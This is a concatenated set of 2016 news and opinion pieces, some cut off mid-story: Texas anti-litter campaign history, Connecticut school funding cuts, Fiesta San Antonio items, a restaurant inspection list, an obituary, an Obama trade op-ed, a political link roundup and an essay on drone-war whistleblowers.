Other council members, such as Lionel Garcia, suggested using the grant money and using the "Seizure" fund for something else.

The council will vote on the grant application Tuesday.
Dont mess with Texas.

No doubt youve seen, heard, and probably even said these words -- but you may be surprised at how our states unofficial motto came to be.

As Texans, when we have a problem our pioneering spirit leads us to take matters into our own hands and fix it. So thats exactly what our State Department of Highways and Public Transportation (now the Texas Department of Transportation, or TXDOT) did about three decades ago when they recognized a growing problem: litter along our states highways. And they found a solution in the Dont Mess with Texas campaign.

In the 1980s, the majestic sprawling landscapes for which our state is known were becoming cluttered with fast food wrappers, ice cream cups, and almost anything else you can imagine.

Traditional marketing campaigns that connected littering with guilt and shame werent working on the typical litterer of the time, identified by the agency as an 18-35 year old male. By 1985, Texas was spending more than $20 million on highway cleanup, and it was estimated that number would increase by as much as 15 percent each year in the future.

Texas had a problem, and so the search for a solution began.

When Austin advertising mogul Tim McClure pitched the Dont Mess with Texas campaign to the State Department of Highways and Public Transportation, the older participants in the room expressed their doubts. This only encouraged Tim - they werent his target audience. He continued to push his idea, and they eventually gave him a chance.

The slogan first debuted across the state with a few slow-to-sell bumper stickers in 1985, but a television ad with the slogan featuring Stevie Ray Vaughan during the 1986 Cotton Bowl took the state by storm. The Dept. of Highways and Public Transportation distributed trash cans bearing the catchy slogan across the states highway grid, and soon bumper sticker sales caught on.

It wasnt long before the slogan went viral and celebrities were asking to be a part of the anti-litter campaign. Willie Nelson, George Foreman, and Chuck Norris are just three of the iconic Texans who have lent their fame to our states cleanup efforts.

Thirty years later, TXDOT now hosts an annual Dont Mess with Texas highway clean-up day in April to commemorate the anniversary of the campaign. Boy Scouts can earn a special badge for participating, and students can earn college scholarships for leadership efforts to clean our highways.

And not only has Tim McClures slogan become an iconic Texas saying, his creative solution has been wildly successful. In the campaigns first six years, the state recorded a 72 percent reduction in highway litter. According to TXDOT, while the state paid todays equivalent of $2.21 per Texan in 1985 for roadside cleanup, by 2015 that figure had dropped to $1.19 - even with the addition of many more miles of Texas roads.

In addition to inspiring Texans to take action, the viral Dont Mess with Texas slogan allows TXDOT to collect royalties on products bearing the phrase, translating to more money for cleanup efforts. All types of items have been emblazoned with the slogan, but one Texans can be particularly proud of is the United States Navys USS Texas (SSN-775), a Virginia-class submarine which proudly displays the motto on its crest.

After 30 years, the Dont Mess with Texas campaign continues with a clear goal in sight: if every Texan picks up just two pieces of trash each month, they estimate our highways will be completely litter-free in a year. That is, as long as fellow drivers dont mess with Texas.
Area towns stand to lose millions of state education dollars under a revised budget proposed by Gov. Dannel P. Malloy. Cheshires funding would be reduced by more than $400,000.



A change in the Education Cost Sharing formula proposed by Malloy to help address budget shortfalls means less money for wealthier towns. The measures proposed this week are part of a larger effort to close a nearly $1 billion shortfall in the states budget for the next fiscal year.



Malloy defended the spending cuts saying it was a more equitable distribution of education dollars.



If we are to do whats right for the state, if we are to put Connecticut on a better path for the long-term, then we need to make tough but necessary decisions now to adapt to our new economic reality, Malloy said in a statement. Thats what this budget does.



According to the governors budget proposal, Southingtons ECS grant would be reduced by $921,189. Wallingfords would be reduced by $866,147, and Cheshire would receive $421,291 less. The three towns are scheduled to get between $21 million and $9.2 million under the governors proposal. Meridens cost-sharing grant would remain at $60.8 million.



Once municipalities adopt a budget, they cant reduce education funding, according to state law.



Southingtons Town Council has yet to adopt a budget. Town Manager Garry Brumback said that, if a budget is adopted and there are major cuts to education funding from the state, the town government would have to absorb the loss, as well as other proposed state aid losses that total about $1 million.



It would be devastating to my budget if the town had to take all of that, Brumback said.



Brumback said he has been working with School Superintendent Tim Connellan and council leaders to come to an agreement.



Wallingford has yet to vote on a budget as well. Town Comptroller James Bowes said town officials are waiting for confirmation of the numbers released by Malloy.



Were reviewing the situation now and we havent made any determinations at this point, Bowes said.



Cheshire adopted a $107.8 million budget April 12.



Finance Director James Jaskot said he doesnt expect Malloys proposal to pass unchanged.



Maybe itll settle somewhere in the middle, Jaskot said.



House Majority Leader Joe Aresimowicz, a Democrat who represents parts of Southington and Berlin, said he disagreed with most of Malloys budget.



All were doing is forcing the towns to raise taxes on property owners, which is a very regressive tax, Aresimowicz said.



The legislature received a better estimate of next years revenue this week. Aresimowicz said the legislature would likely not pass Malloys funding cuts at the level proposed.



State Rep. Cathy Abercrombie, D-Meriden, said she was disappointed with Malloys proposal. Although Meridens ECS money was untouched, she said, the myriad cuts hurt the state in the long run.



It picks winners and losers, Abercrombie said.



The legislatures Appropriations Committee, of which Abercrombie is a member, had identified $600 million worth of cuts. The state faces a $900 million deficit in the 2016-17 fiscal year, the second in a two-year state budget.



Abercrombie said that gap cant be bridged with spending cuts alone.



Im not saying taxes, she said. Im saying to do business in a different way.



State Sen. Joe Markley, R-Southington, said that, despite the governors proposed budget, he expected the Appropriations Committee to take no action before the end of the session.



I suspect that well be adjourning without passing a budget, he said. Now that disaster is bearing down on us, the Democratic legislators want to go home, get re-elected and deal with it in January.



Markley said systemic changes werent made in previous years which could have headed off the present crisis. He agreed with the argument made by towns that cutting municipal funding is a way for the state to in effect raise taxes without having our fingerprints on it.



Abercrombie disagreed that the legislature would take no action before the end of the session.



We have every intention of having a budget by the time we gavel out on May 4, she said.






Conjunto music legend Flaco Jimenez joined thousands of high school band students from the San Antonio area in the 78th Battle of Flowers Band Festival Thursday at Alamo Stadium.

Performing a "Salute to Tejano Music" medley with a blast of marching bands, Jimemez was the guest musician of this year's festival, which paid tribute to musicians across the Lone Star state.
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SAN ANTONIO  This year is the last hurrah for one San Antonio family to stake out areas under U.S. 281 to watch the two major street parades of Fiesta.

MORE: 2016 is the final year of camping out on Broadway for Fiesta San Antonio parades

Ruben Rodriguez said he and his cousins have enjoyed the Battle of Flowers and Flambeau parades under the bridges and ramps for about 30 years on the west side of Broadway. But the city code compliance office told them this week that they will have to relocate next year because of a landscape project of the Texas Department of Transportation.

"This is supposedly going to be our last year here," Rodriguez said. "We've got to go look for another spot or start renting chairs."

RELATED: More than 300,000 expected to flood downtown San Antonio for Battle of Flowers Parade during Fiesta

The Rodriguez-Gallegos-Trevino family typically marks about seven plots for a couple hundred family members, using spray paint a few weeks before the parades, then puts up temporary fencing a few days prior.

"I've been doing it since my daughters were real small," said Robert Gallegos, who was setting up chairs. "I was getting ready to get them to take over."

Landscape enhancement project coming soon. Last year for Fiesta setup on this property, is the posted message the family and others like them were met with in the area.

The Broadway Street location is one of several  including Interstate 10/Interstate 35 near Elmira Street; Interstate 35 near Theo and Malone avenues; Interstate 10 near Probandt and Interstate 37 near Florida and Carolina streets  circling downtown that will undergo the more-than-$1-million landscaping and beautification project that begins once Fiesta 2016 ends.

"I might just watch it on TV next year," Gallegos said.

shuddleston@express-news.net

Twitter: @SHuddlestonSA
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Not everyone is reveling this Battle of Friday; more than a dozen San Antonio restaurants are finishing out the week-long party on the dirty list.

From the South Side to the far Northwest Side, 13 eateries received 14 or more demerits this week and were cited for some gross  and sometimes wacky  violations.

A container of dog food in the kitchen was discovered at the Medical Center-area La Fonda Mexican Restaurant at 350 Northaven Drive, and hydrogen peroxide was observed in the kitchen at Vickys Mexican Restaurant at 2349 Pinn Road.

One the vile side, dead fruit flies and large rodent droppings were discovered throughout the kitchen and storage room at Temple of Praise Church, located at 1620 Pinn Road.

Other violations in this weeks report include issues of cross contamination, no soap at hand washing sinks and unclean food contact surfaces.

To make the Express-News' list of dirtiest restaurants, an establishment must have 14 or more demerits during a random city inspection.

Get all the highlights of this week's dirtiest restaurant list in the slideshow above, or see the full list below.

The San Antonio Express-News examines hundreds of restaurant inspections each week conducted by the San Antonio Food and Environmental Health Services division to bring you the eateries with 14 or more demerits.

The demerit system is based upon the number of violations found during a regular food establishment inspection. There are three categories of demerits and each are assigned a demerit score of 5, 4 or 3 points, according to the health division.

Scores and demerits listed are only representative of the state of the restaurant at the time of inspection and are surveyed at random.

rsalinas@mysa.com

Here is the full list of establishments on this week's list, see slideshow for information from the reports:
Seguin Police officers arrested one of three suspects linked to a large drug distribution ring in the Seguin and San Antonio area involving the Mexican Mafia.

Gary Big John Ortiz was arrested by Seguin police Thursday and taken to San Antonio where hes now in the custody of the U.S. Marshals Service, said Seguin Police Deputy Chief Bruce Ure.
Barbara Boatright was a young girl when she learned the basics of cake baking from her mother and grandmother.

Years later, her cakes displayed expert skill in the kitchen. She could often be found making them for family and friends simply because she knew how much they liked them.

My favorite was yellow cake with white icing, but I guess her Italian cream cake was most popular, brother James said.

Boatright died April 16 of pancreatic cancer. She was 74.

More for you NWS predicts isolated strong, severe storms possibly on Monday

Boatright grew up in San Antonio and graduated from Burbank High School. She worked in security services at what was then Kelly AFB before joining the San Antonio Express-News as a features section editorial assistant in 1997.

For nearly 10 years, she coordinated photo shoots, filed recipes online and helped editors with other tasks. Retired food editor Karen Haram said she was especially patient and helpful when answering readers questions.

More Information Barbara Boatright Born: October 1, 1941 Died: April 16, 2016 Preceded by: Parents Ada and John Boatright Survived by: Brothers Don and James "JL" Boatright, sister-in-law Barbara Boatright, and nieces and nephews. Service: Memorial at 3 p.m. May 17 at Mission Park Funeral Chapel North, 3401 Cherry Ridge St. See More Collapse

It was absolutely wonderful to work with her, Haram said. She was like a cheerleader for the department.

At the end of each month, she would bring the department several cakes to share, and she always took requests for favorites. Haram said she set her cakes apart by adding a second layer of frosting.

You name it and she would bring it in, Haram said. We always laughed that if a little frosting was good, double was even better.

Boatrights sister-in-law, also named Barbara, said baking was one of many ways her relative showed generosity. Around Christmas, she would cook and buy presents for her family and for people without a place to spend the holiday.

She made you feel like she was your very close friend right when you just met her, she said. She would do anything for anybody and never expected anything in return.

Boatright spent much of her life taking care of her father. After his death, she moved in with brother James Boatright and lived with him for more than 30 years  along with her two dogs, a Scottie mix and a Chihuahua.

She showed me a better side of life, he said.

The two enjoyed gospel music, going out to eat and watching the Spurs and the Dallas Cowboys, her two favorite teams. They also traveled often to Dallas to visit James Boat-

rights daughter Stephanie and her two children.

Barbara Boatright was diagnosed with cancer last month. Her brother said she showed kindness and generosity throughout her time in the hospital, especially when family and friends came to visit.

She would perk up and make them feel at home and say that she really liked them being there, he said. Im very proud just to be her brother.

kblunt@express-news.net
Over the last seven years, we have helped middle-class families start to reclaim their economic security by restoring the basic values that made our country great  including the idea that everyone should play by the same rules.

That principle matters in farm states and factory towns across America, but it doesnt stop at our shores. We also have to enforce a level playing field in the global economy. Just as weve worked to ensure we dont have one set of rules for Wall Street and another for Main Street, my administration has built an unprecedented record of holding trading partners accountable and fighting back when they try to rip us off. Last week marked another such victory for American workers in Texas.

We exposed a Chinese government scheme to subsidize seven industries  including textiles, apparel, and medical products  that compete directly with American workers and businesses. The program let Chinese businesses unfairly flood the world market with their exports at our expense.

My administration brought the results of our intensive investigation to the World Trade Organization  the 20th such enforcement case weve pursued since I took office and our eleventh against China. In fact, during my time in office America has brought more cases than any other country, and weve won every case thats been decided.

The result this time is yet another win for America: Chinas efforts to take advantage of our workers under this program have been shut down, and were monitoring closely to make sure it stays that way.

This victory has real consequences for Texas workers and businesses. Thats because in the investigation that led to this case, we found that China was unfairly supporting the industries that directly compete with working men and women in Texas. These subsidies undermined fair competition, threatened to affect global prices, and hurt Texans who rely on these industries to provide for their families. Stopping this scheme is a significant step toward helping our workers and businesses compete and win on a level global playing field. Texans should be proud to know that Rep. Henry Cuellar supported this effort at every step and has been a tremendous partner in seeing this case to completion.

Because trade is a pillar of middle-class economics, holding our trading partners feet to the fire has been a priority of my administration. In fact, no country has done more to hold its trading partners accountable. Thats how we make sure Americans get all the benefits weve negotiated under our trade agreements. Its why in recent weeks weve pursued enforcement actions that have opened up South Africa to American beef, poultry, and pork; successfully challenged unfair subsidies in India that undercut our solar industry; are taking steps to address illegal logging in Peru; strengthened intellectual property rights protections in Honduras; and worked with Colombia to agree to strengthen its worker-protection laws. And its why in February I signed into law a customs and trade enforcement bill that gives us even more new tools to investigate and prosecute those who violate our trade agreements.

One of the best ways to enforce the idea that everyone should play by the same rules in global trade is by setting better rules in the first place. Thats why weve made sure the Trans-Pacific Partnership would help Americans sell to the world more of what we make here at home by establishing the highest standards of any trade agreement, including strong, fully enforceable intellectual property, labor, and environmental protections. The result is an agreement that advances both our interests and our values in one of the worlds fastest-growing regions. TPP makes sure our products arent the only things stamped Made in the USA  the worlds trade standards should be set here, too.

Weve fought hard over the past seven years to make sure everybody plays by the same rules, building on seven decades of American leadership that have made us the chief architect of a trading system that gives our workers the chance to get ahead. In an increasingly competitive world, our competitors will lead if we sit on the sidelines. In fact, right now China is moving full steam ahead to create its own trade deal for the region that would cut the United States out of key markets and exclude the high standards we put in the TPP. That would undercut American workers and American businesses.

We have the best workers in the world, the most innovative companies, and the best products. Because of our commitment to holding our trading partners accountable, America won again last week. With open markets, a level playing field, and the strong enforcement TPP promises, Americans will continue to win for years to come.

Barack Obama is president of the United States.
The temptation when natural disasters occur is to send clothing, food and water to those stricken. The bright side of human nature encourages us to help when others are in need.

As large swaths of Texas recover from recent massive flooding, the Red Cross warns against this temptation.
YORK, Penn.  SpiriTrust Lutheran presented their annual Cornerstone Award to the Rutter and Hartman family, which acknowledges remarkable generosity of leadership, charitable support and volunteer service of York County individuals.

Scott Hartman, president and CEO of Rutters; Todd Rutter, president of Rutters Dairy; and Tim Rutter, president of M&G Realty, accepted the 2016 Cornerstone Award on April 14 at the Cornerstone Dinner. During the awards dinner, Rutters featured a video showcasing their history.

We are honored to be receiving this award. Giving back to the community is something we are very passionate about. Supporting children to grow up healthy, happy and well-educated enhances the community for all of us. Receiving this award makes us proud because we know we were able to impact the lives of many others, Hartman said in a press release.

Throughout 2015, Rutters donated more than $235,000 to Central Pennsylvania charities. Over the past decade, the donations have elevated the companys charitable giving total to more than $5 million, primarily to organizations focused on improving the lives of local children. Through programs like Rutters Rewards Schools and Vote With Your Dollars, Rutters has donated to countless organizations such as Childrens Home of York, Crispus Attucks, YMCAs in the York region, the Jewish Community Center and Make a Wish.
By Lambert Strether of Corrente.

TPP/TTiP/TISA

[T]he Regional Comprehensive Economic Partnership (RCEP) [is] a trade agreement that is being worked on by a bunch of Asian countries, and which is often described as an anti-TPP or, at the very least, a competitor to the TPP. Its being driven by China and India  two countries who were not in the TPP process [TechDirt]. Given how concerned we were with the TPP, we had hoped, at the very least, that RCEP would be better on things like intellectual property. Unfortunately, some early leaks suggested it was even worse.

Support for huge transatlantic trade deal TTIP plummets in both US and Germany [Ars Technica]. Today, fewer than 20% of respondents in favour of TTIP; in 2014 it was over 50%.

Support for the transatlantic trade deal known as TTIP has fallen sharply in Germany and the United States, a survey showed on Thursday, days before Chancellor Angela Merkel and President Barack Obama meet to try to breathe new life into the pact [Reuters].

Public procurement could be next TTIP deal breaker [EurActiv]. The EU would welcome a privileged agreement where we would get rid of all the strings attached, said the EU source. Why cant we transform the Buy American into a Buy Transatlantic? he wondered.

The Real Justification For Free Trade: China Got Rich [Forbes]. Im happy for them. Wheres my cut?

2016

Voters

One of the more pleasant aspects of the 2016 campaign is Democrats revealing their true selves: Thurgood Marshall on NY restrictive party registration: "its disenfranchisement"@Joshtpm: "its a hipster concern" pic.twitter.com/O7iz9FtT3X  Connor Kilpatrick (@ckilpatrick) April 21, 2016 Giving zero f*cks: De Blasio Demands Explanation, as Decline in Registered Brooklyn Democrats Doubles [WNYC]. Bill Clinton Blames Millennials For Anger, Economy, Congress [HuffPo]. He dinnit! If all the young people who claim to be disillusioned now had voted in 2010, we wouldnt have lost the Congress, and wed probably have our incomes back, [Bill Clinton] said. What a steaming load of crap. Thomas Ferguson has shown that precinct losses for Democrats in Massachusetts  where the Dems lost the Senate when Scott Brown beat Martha Coakely  correlated to foreclosures; Obama foaming the runway for the big banks and standing between them and the pitchforks lost the Senate for Democrats. Notice, also, that the Democrat Establishment never takes responsibility for failure. The Democrat Party can never fail. It can only be failed. Specifically by voters. Boaty McBoatface and the False Promise of Democracy [The Atlantic].

Money

Ill just leave this here: Clinton campaign has spent $157 million and lost a 55 point advantage in a year pic.twitter.com/VpQgUMbLl1  Michael  Whitney (@michaelwhitney) April 21, 2016

Corruption

New York

A post mortem on the Sanders loss that doesnt mention voting irregularities [Politico].  New York Had the Second-Lowest Voter Turnout So Far This Election Season [The Nation].

The Trail

Hey, Berniacs: I Learned to Love Hillary and So Can You [Jon Favreau, Daily Beast]. But she is running a campaign with a policy platform thats more progressive than her husbands administration, her 2008 campaign, andin a few casesBarack Obamas administration. Guess what? Bernie Sanders helped make that happen. He helped push Hillary Clinton to the left. And he should keep pushing her if she becomes president. On Becoming Anti-Bernie [Medium]. By a lawyer in the hedge fund business. For the defense, natch. Im only linking to this because its gone viral. Long Primary Carries Costs for Hillary Clinton: Money and Time [New York Times]. Never mind that Clinton did exactly the same thing in 2008. Honestly, do they just pull these stories out of the drawer and swap in new names? Betrayal is at the heart of U.S. politics [Reuters]. Betrayal is an enduring issue in American politics. Thats because the Constitution mandates check and balances and a separation of powers. Every elected president has to compromise in order to get things done. This is a steaming load. Talk policy: Medicare for All, tuition-free college, $15 minimum wage. All policies were strenuously opposed by both parties, although using differing tactics. Compromise had nothing to do with it. The smug style in American liberalism [Vox]. Prolix. The other GOP fight: Packing the convention rules committee [McClatchy]. Outsider presidential candidate Donald Trump sent emissaries to soothe tensions with the GOPs pre-eminent insiders Thursday, and tried to convince them that his bombastic demeanor is merely stagecraft, that his high negatives in the polls can be overcome, and that if hes the nominee, hell raise money for the party and help the Republicans locally and nationally to win elections [Bloomberg]. Must have been like watching scorpions mating.

Stats Watch

PMI Manufacturing Index Flash, April 2016: Early indications on April factory conditions are no better than mixed with strength in the Empire State report offset by yesterdays flat readings from the Philly Fed and another set of flat readings from todays PMI flash [Econoday]. 

Backlog orders are down, which is a negative for hiring and also points to operating slack. Manufacturers are keeping their inventories down with stocks of purchases dropping sharply. Delivery times are up, not the result of congestion in the supply chain but, the report says, of insufficient stocks and capacity cuts among suppliers The report, in a first of sorts compared to other reports, cites the nations political climate and its relation to the economic outlook as a possible negative.

Shipping: The deceleration in the rail rolling averages began one year ago, and now rail movements are being compared against weaker 2015 data. There were port labor issues one year ago which affected intermodal movements  which skew the results both positively and negatively (this week again negatively as it is being compared to the shipping surge at the end of the strike). HOWEVER, one can ignore the strike which only affects intermodal  and concentrate on carloads  the data looks very soft [Econintersect].

The decline in global activity and the rate of activity disruption reached unprecedented levels as the industry displayed clear signs of operating in a full-scale cash crisis, [Schlumberger Chairman and Chief Executive Officer Paal Kibsgaard] said in a statement announcing first-quarter earnings Thursday. This environment is expected to continue deteriorating over the coming quarter given the magnitude and erratic nature of the disruptions in activity [Bloomberg].

Shipping: North Americas biggest freight railroad reported a 15% drop in its first-quarter profit on a 14% slide in revenue from weakening freight demand, the WSJs Laura Stevens reports. The big drops came in energy shipments, and UPs strong exposure to the shale fracking business hit especially hard [Wall Street Journal, Todays Top Supply Chain and Logistics News From WSJ].

Rigged Economy: Buried in a report released yesterday by the Government Accountability Office (GAO) was a stunning piece of news. Customers of JPMorgan Chase, the bank that Wall Street analyst Mike Mayo has preposterously called the Lebron James of banking, were major victims of Bernie Madoffs Ponzi scheme  to the tune of $5.4 billion  because of negligence on the part of the bank [Wall Street on Parade]. Reading more deeply into the article:

According to the Picard investigation, JPMorgan Chase and its predecessor banks also extended tens of millions of dollars in loans to Norman F. Levy and his family so they could invest with the insolvent Madoff. (Levy died in 2005 at age 93 without being charged with any crimes.) According to Picard, Levy had $188 million in outstanding loans in 1996, which he used to funnel money into Madoff investments. Picards lawyers said in a court filing that JPMorgan Chase (JPMC) referred to these investments as special deals. Indeed, these deals were special for all involved: (a) Levy enjoyed Madoffs inflated return rates of up to 40% on the money he invested with Madoff; (b) Madoff enjoyed the benefits of large amounts of cash to perpetuate his fraud without being subject to JPMCs due diligence processes; and (c) JPMC earned fees on the loan amounts and watched the special deals from afar, escaping responsibility for any due diligence on Madoffs operation.

Of course! The fees!

Todays Fear & Greed Index: 73, Greed (previous close: 74, Greed) [CNN]. One week ago: 70 (Greed). (0 is Extreme Fear; 100 is Extreme Greed). Last updated Apr 22 at 11:29am.

Black Injustice Tipping Point

The Souths new re-segregation plan: The Koch brothers, ALEC and the sneaky scheme to undo Brown v Board of Education [Salon]. Charters. Naturally.

Police State Watch

These states let police take and keep your stuff even if you havent committed a crime (map) [Vox]. Ulp.

You can now be identified by your brainprint with 100% accuracy [Kurzweil: Accelerating Intelligence]. Ulp.

Gaia

From an evolutionary perspective, it makes sense that these human abilities also appear in other species. After all, the whole point of natural selection is that small variations among existing organisms can eventually give rise to new species. Our hands and hips and those of our primate relatives gradually diverged from the hands and hips of common ancestors. Its not that we miraculously grew hands and hips and other animals didnt. So why would we alone possess some distinctive cognitive skill that no other species has in any form? [The Atlantic].

Imperial Collapse Watch

Seymour Hersh spills the secrets of Bin Ladens execution: He was a prisoner of war. It was a hit' [Salon]. The Saudis bribed the Pakistanis not to tell us [that the Pakistani government had Bin Laden] because they didnt want us interrogating Bin Laden what the Saudis were doing, so Ive been told, by reasonable people (I havent written this) is that they were also passing along tankers of oil for the Pakistanis to resell. Thats really a lot of money.

Class Warfare

How to survive as a whistle-blower [Nature].

Dont confront potential misconduct alone. Although postdocs and PhD students are the most likely to identify inconsistencies in the previously published data of their groups, they are often the least equipped to highlight serious problems. Be ready to give your supervisor the benefit of the doubt, but also be aware that raising concerns directly could provide an opportunity to obscure evidence of misconduct. In fact, the co-founders of the blog Retraction Watch recommend against contacting authors first if no one else knows of issues in the research.

Not just for postdocts and students!

News of the Wired

Public Domain Citation Book, Baby Blue, Renamed To Indigo Book, Following Harvard Law Review Threats[Ars Technica].

Keynes passed away 70 years ago today, with his copyright now expiring, there is an opportunity to build a digital archive of all his work [Inet].

These Guys Were on the Deepwater Horizon When It Blew Up [Mother Jones]. IIRC, BP executives were on the Deepwater Horizon when it blew, but were evacuated. And we never found out how that happened, and whether any workers were on the helicopter, if helicopter it was. Readers?

The rant that launched a thousand memes:

On this Day  1945, facing reality, #Hitler had a minor breakdown in his Berlin bunker  made famous by this https://t.co/SruwUqFTkx  Roger Moorhouse (@Roger_Moorhouse) April 22, 2016

* * *

Readers, I still need to fix my fershuggeneh contact form! Hopefully noting that fact publicly will serve a lash and a spur to my endeavors. (Meanwhile, thanks to readers, who already have my email address, who sent in images of plants!)

See the previous Water Cooler (with plant) here. And heres todays plant (Chet):

Young dogwood blossoms. Big moment when you look up at the trees and notice the buds!

* * *

Readers, Water Cooler will not exist without your regular support. Your tip will be welcome today, and indeed any day. If you enjoy what youre reading, please click the hat!
Yves here. Americans regularly find it difficult to muster up much compassion for innocent bystanders who are killed in the name of war, particularly in drone strikes, since they are depicted as more surgical. In fact, targets are regularly mis-identified and the bombings are often in pubic places, with deaths of innocents (in large numbers) guaranteed. But who cares if its brown people who live in places most Americans cant find on a map?

One reason to care, aside from human decency, is self interest. All these murder toys are guaranteed to be used at home against people labeled as dissidents and malcontents.

By Pratap Chatterjee, executive director of CorpWatch. He is the author of Halliburtons Army: How A Well-Connected Texas Oil Company Revolutionized the Way America Makes War. His next book, Verax, a graphic novel about whistleblowers and mass surveillance co-authored with Khalil Bendib, will be published by Metropolitan Books in 2017. Originally published at TomDispatch

In a trio of recent action-packed movies, good guys watch terrorists mingling with innocent women and children via real-time video feeds from halfway across the world. A clock ticks and we, the audience, are let in on the secret that mayhem is going to break loose. After much agonized soul-searching about possible collateral damage, the good guys call in a missile strike from a U.S. drone to try to save the day by taking out a set of terrorists.

Such is the premise of Gavin Hoods Eye in the Sky, Andrew Niccols Good Kill, and Rick Rosenthals Drones. In reality, in Washingtons drone wars neither the good guys nor the helpless, endangered villagers under those robotic aircraft actually survive the not-so secret drone war that the Obama administration has been waging relentlessly across the Greater Middle East  not, at least, without some kind of collateral damage. In addition to those they kill, Washingtons drones turn out to wound (in ways both physical and psychological) their own operators and the populations who live under their constant surveillance. They leave behind very real victims with all-too-real damage, often in the form of post-traumatic stress disorder on opposite sides of the globe.

Sometimes I am so sad that my heart wants to explode, an Afghan man says, speaking directly into the camera. When your body is intact, your mind is different. You are content. But the moment you are wounded, your soul gets damaged. When your leg is torn off and your gait slows, it also burdens your spirit. The speaker is an unnamed victim of a February 2010 drone strike in Uruzgan, Afghanistan, but he could just as easily be an Iraqi, a Pakistani, a Somali, or a Yemeni. He appears in National Bird, a haunting new documentary film by Sonia Kennebeck about the unexpected and largely unrecorded devastation Washingtons drone wars leave in their wake. In it, the audience hears directly from both drone personnel and their victims.

I Was Under the Impression That America Was Saving the World

When we are in our darkest places and we have a lot to worry about and we feel guilty about our past actions, its really tough to describe what that feeling is like, says Daniel, a whistleblower who took part in drone operations and whose last name is not revealed in National Bird. Speaking of the suicidal feelings that sometimes plagued him while he was involved in killing halfway across the planet, he adds, Having the image in your head of taking your own life is not a good feeling.

National Bird is not the first muckraking documentary on Washingtons drone wars. Robert Greenwalds Unmanned, Tonje Scheis Drone, and Madiha Tahrirs Wounds of Waziristan have already shone much-needed light on how drone warfare really works. But as Kennebeck told me, when she set out to make a film about the wages of the newest form of war known to humanity, she wanted those doing the targeting, as well as those they were targeting, to speak for themselves. She wanted them to reveal the psychological impact of sending robot assassins, often operated by pilots halfway around the world, into the Greater Middle East to fight Washingtons war on terror. In her film, theres no narrator, nor experts in suits working for think tanks in Washington, nor retired generals debating the value of drone strikes when it comes to defeating terrorism.

Instead, what you see is far less commonplace: low-level recruits in President Obamas never-ending drone wars, those Air Force personnel who remotely direct the robotic vehicles to their targets, analyze the information they send back, and relay that information to the pilots who unleash Hellfire missiles that will devastate distant villages. If recent history is any guide, these drones do not just kill terrorists; in their target areas, they also create anxiety, upset, and a desire for revenge in a larger population and so have proven a powerful weapon in spreading terror movements across the Greater Middle East.

These previously faceless but distinctly non-robotic Air Force recruits are the cannon fodder of Americas drone wars. You meet two twenty-somethings: Daniel, a self-described down-and-out homeless kid, every male member of whose family has been in jail on petty charges of one kind or another, and Heather, a small town high school graduate trying to escape rural Pennsylvania. You also meet Lisa, a former Army nurse from California, who initially saw the military as a path to a more meaningful life.

The three of them worked on Air Force bases scattered around the country from California to Virginia. The equipment they handled hovered above war zones in Afghanistan and Iraq, as well as Pakistan and Yemen (where the U.S. Air Force was supporting assassination missions on behalf of the Central Intelligence Agency).

That is so cool, unmanned aircraft. Thats really bad-ass. So Heather thought when she first saw recruitment posters for the drone program. I was under the impression, she told Kennebeck, that America was saving the world, like that we were Big Brother and we were helping everyone out.

Initially, Lisa felt similarly: When I first got into the military, I mean I was thinking it was a win-win. It was a force for good in the world. I thought I was going to be on the right side of history.

And that was hardly surprising. After all, youre talking about the perfect weapon, the totally high-tech, precise and surgical, no-(American)-casualties, sci-fi version of war that Washington has been promoting for years as its answer to al-Qaeda and other terror outfits. President Obama who has personally overseen the drone campaigns  with a kill list and terror Tuesday meetings at the White House  vividly described his version of such a modern war in a 2013 speech at the National Defense University:

This is a just war  a war waged proportionally, in last resort, and in self-defense. We were attacked on 9/11. Under domestic law, and international law, the United States is at war with al-Qaeda, the Taliban, and their associated forces America does not take strikes to punish individuals; we act against terrorists who pose a continuing and imminent threat to the American people. And before any strike is taken, there must be near-certainty that no civilians will be killed or injured  the highest standard we can set.

That distinctly Hollywood vision of Americas drone wars (with a Terminator edge) was the one that had filtered down to the level of Kennebecks three drone-team interviewees when they signed on. It looked to them then like a war worth fighting and a life worth leading. Today, as they speak out, their version of such warfare looks nothing like what either Hollywood or Washington might imagine.

Excuse Me, Sir, Can I Have Your Drivers License?

National Bird does more than look at the devastation caused by drones in far away lands and the overwhelming anxiety it produces among those who live under the distant buzzing and constant threat of those robotic aircraft on an almost daily basis. Kennebeck also turns her camera on the men and women who helped make the strikes possible, trying to assess what the impact of their war has been on them. Their raw and unfiltered responses should deeply trouble us all.

Kennebecks interviewees are among at least a dozen whistleblowers who have stepped forward, or are preparing to do so, in order to denounce Washingtons drone wars as morally unjustified, as in fact nightmares both for those who fight them and those living in the lands that are on the receiving end. The realities of the day-in, day-out war they fought for years were, as they tell it, deeply destructive and filled with collateral damage of every sort. Worse yet, drone operators turn out to have little real idea about, and almost no confirmation of, whom exactly theyve blown away.

Its so primitive, raw, stripped-down death. This is real. Its not a joke, says Heather, an imagery analyst whose job was to look at the streaming video coming in from drones over war zones and interpret the grainy images for senior commanders in the kill chain. You see someone die because you said it was okay to kill them. I was always shaking. Sometimes I would just go to the bathroom and just sit on the toilet. I mean just sit there in my uniform and just cry.

Advocates of drone war believe, as do many of its critics, that it minimizes casualties. These Air Force veterans have, however, stepped forward to tell us that such claims simply arent true. In a study of what can be known about drone killings, the human rights group Reprieve has confirmed this reality vividly, finding that, in Pakistan, in attempts to take out 41 men, American drones actually killed an estimated 1,147 people (while not all of the 41 targeted figures even died). In other words, this hasnt proved to be a war on terror, but a war of terror, a reality the drone whistleblowers confirm.

Heather is blunt in her criticism. Hearing politicians speak about drones being precision weapons [makes it seem like theyre] able to make surgical strikes. To me its completely ridiculous, completely ludicrous to make these statements.

The three whistleblowers point, for instance, to the complete absence of any post-strike verification of who exactly has died. Theres a bomb. They drop it. It explodes, Lisa says. Then what? Does somebody go down and ask for somebodys drivers license? Excuse me, sir, can I have your drivers license, see who you are? Does that happen? I mean, how do we know? How is it possible to know who ends up living or dying?

After three years as an imagery analyst, after regularly watching unknown people die thousands of miles away on a grainy screen, Heather was diagnosed as suicidal. She estimates  and the experiences of other drone whistleblowers back her up  that alcoholics accounted for a significant percentage of her unit, and that many of her co-workers had similarly suicidal thoughts. Two actually did kill themselves.

As Heathers grandfather points out, She had trouble getting the treatment she needed. She had trouble finding a doctor because they didnt have the right security clearance [and] she could be in violation of the law and could even go to prison for even talking to the wrong therapist about what was bothering her.

